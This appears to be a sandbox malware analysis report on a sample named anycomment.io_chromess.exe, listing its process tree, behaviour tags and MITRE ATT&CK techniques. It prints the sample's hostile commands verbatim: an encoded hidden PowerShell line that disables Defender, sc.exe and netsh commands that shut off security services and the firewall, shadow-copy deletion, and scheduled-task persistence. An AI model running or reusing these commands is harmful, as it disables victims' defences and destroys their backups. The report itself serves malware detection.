PID 4972 wrote to memory of 5880	4972	anycomment.io_chromess.exe	147
PID 4972 wrote to memory of 4076	4972	anycomment.io_chromess.exe	154
PID 4972 wrote to memory of 5688	4972	anycomment.io_chromess.exe	155
PID 4972 wrote to memory of 2880	4972	anycomment.io_chromess.exe	156
PID 772 wrote to memory of 1032	772	cmd.exe	158
PID 956 wrote to memory of 1600	956	cmd.exe	159
PID 6004 wrote to memory of 1300	6004	cmd.exe	202
PID 5880 wrote to memory of 332	5880	cmd.exe	161
PID 1600 wrote to memory of 3044	1600	net.exe	162
PID 5868 wrote to memory of 4616	5868	cmd.exe	163
PID 3340 wrote to memory of 3076	3340	cmd.exe	164
PID 4972 wrote to memory of 3400	4972	anycomment.io_chromess.exe	165
PID 4972 wrote to memory of 4192	4972	anycomment.io_chromess.exe	166
PID 4972 wrote to memory of 5496	4972	anycomment.io_chromess.exe	167
PID 4972 wrote to memory of 1948	4972	anycomment.io_chromess.exe	168
PID 4972 wrote to memory of 4668	4972	anycomment.io_chromess.exe	169
PID 4972 wrote to memory of 5984	4972	anycomment.io_chromess.exe	170
PID 5896 wrote to memory of 2072	5896	cmd.exe	177
PID 5496 wrote to memory of 3804	5496	net.exe	178
PID 5896 wrote to memory of 1676	5896	cmd.exe	180
PID 4236 wrote to memory of 2424	4236	chrome.exe	181
PID 4236 wrote to memory of 5388	4236	chrome.exe	192
PID 4236 wrote to memory of 5388	4236	chrome.exe	192
PID 4236 wrote to memory of 3244	4236	chrome.exe	183
PID 4236 wrote to memory of 3244	4236	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\anycomment.io_chromess.exe
"C:\Users\Admin\AppData\Local\Temp\anycomment.io_chromess.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://anycomment.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0xa8,0x134,0x7fffd36bc728,0x7fffd36bc734,0x7fffd36bc740
    3⤵
    PID:3028
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1612,i,3030489060376990634,3213752482260171768,262144 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
    3⤵
    PID:4532
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1468,i,13232227159302490798,15160660196462264770,524288 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:11
    3⤵
    - System Time Discovery
    PID:828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2280,i,7283186889781753567,1764625300221209117,524288 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=2376 /prefetch:13
    3⤵
    PID:4296
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3132,i,3922284621507034094,4620269979483174426,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=3280 /prefetch:1
    3⤵
    PID:2584
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3140,i,9311314908334780034,18287444050312273615,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=3300 /prefetch:1
    3⤵
    PID:5252
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4516,i,9267154480896089662,7065883776682705799,524288 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=4704 /prefetch:14
    3⤵
    PID:2188
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4992,i,18212719848383968008,2647761595132315733,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=5008 /prefetch:1
    3⤵
    PID:5584
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4744,i,14673960303013060740,10622867626910033719,524288 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=4748 /prefetch:14
    3⤵
    PID:2424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3312,i,7564177653422152356,14783981661204353303,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=3444 /prefetch:1
    3⤵
    PID:5388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3464,i,17709340859586702130,5193851989042332817,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=4752 /prefetch:1
    3⤵
    PID:3244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5832,i,11068994499101096186,3276164125649792540,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=4700 /prefetch:1
    3⤵
    PID:1188
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5812,i,10429905881942016258,16553646916755540338,524288 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:14
    3⤵
    PID:5396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5992,i,10979601818980248203,11665558869983372309,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:1
    3⤵
    PID:796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=3336,i,14254878422090680151,10272526619753056078,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:1
    3⤵
    PID:3332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6148,i,3818390007253799478,1017172847790733584,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:1
    3⤵
    PID:1776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6300,i,18092560774919062691,10080185190807374277,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
    3⤵
    PID:4176
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5700,i,2858317544924551144,8297881190814885968,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=4728 /prefetch:1
    3⤵
    PID:5388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5436,i,9777854089247526271,1276728355201806720,524288 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:14
    3⤵
    PID:4724
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6184,i,2551455017451770792,3794442326135598103,524288 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:14
    3⤵
    PID:3516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5704,i,10093180679980615346,12173487810755869089,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=5996 /prefetch:1
    3⤵
    PID:2356
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4816,i,17419861065881748106,6635515401308847338,2097152 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:9
    3⤵
    PID:4940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6236,i,17307824635069356538,2982039592344014322,524288 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=5592 /prefetch:14
    3⤵
    PID:5380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6040,i,5687002131211303516,17863173832664464523,524288 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:14
    3⤵
    PID:388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5832,i,1458219914382806830,3555278506694650702,524288 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:14
    3⤵
    PID:1892
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1120,i,11416360890746599384,10399555005927363961,262144 --field-trial-handle=1912,i,7862865359433917262,2227163111149861365,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:10
    3⤵
    PID:5848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5356
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:480
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5688
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2072
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2880
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1384
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4312
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1912
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:928
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Users\Admin\AppData\Local\Temp\anycomment.io_chromess.exe
    "C:\Users\Admin\AppData\Local\Temp\anycomment.io_chromess.exe"
    3⤵
    PID:896
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2540
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:6004
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2012
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5024
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  PID:4524
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\anycomment.io_chromess.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4472
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\anycomment.io_chromess.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5896
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2072
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1676
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6004
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1300
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3340
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:3076
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:772
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1032
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:956
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3044
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5868
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4616
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5880
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:332
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\anycomment.io_chromess.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4076
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  PID:5688
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2880
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3400
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2012
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4192
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3804
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1948
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4668
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5984

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2556

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3472

C:\Users\Admin\AppData\Local\Temp\anycomment.io_chromess.exe
C:\Users\Admin\AppData\Local\Temp\anycomment.io_chromess.exe
1⤵
PID:2992

C:\Users\Admin\AppData\Local\Temp\anycomment.io_chromess.exe
C:\Users\Admin\AppData\Local\Temp\anycomment.io_chromess.exe
1⤵
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5936

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1300

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery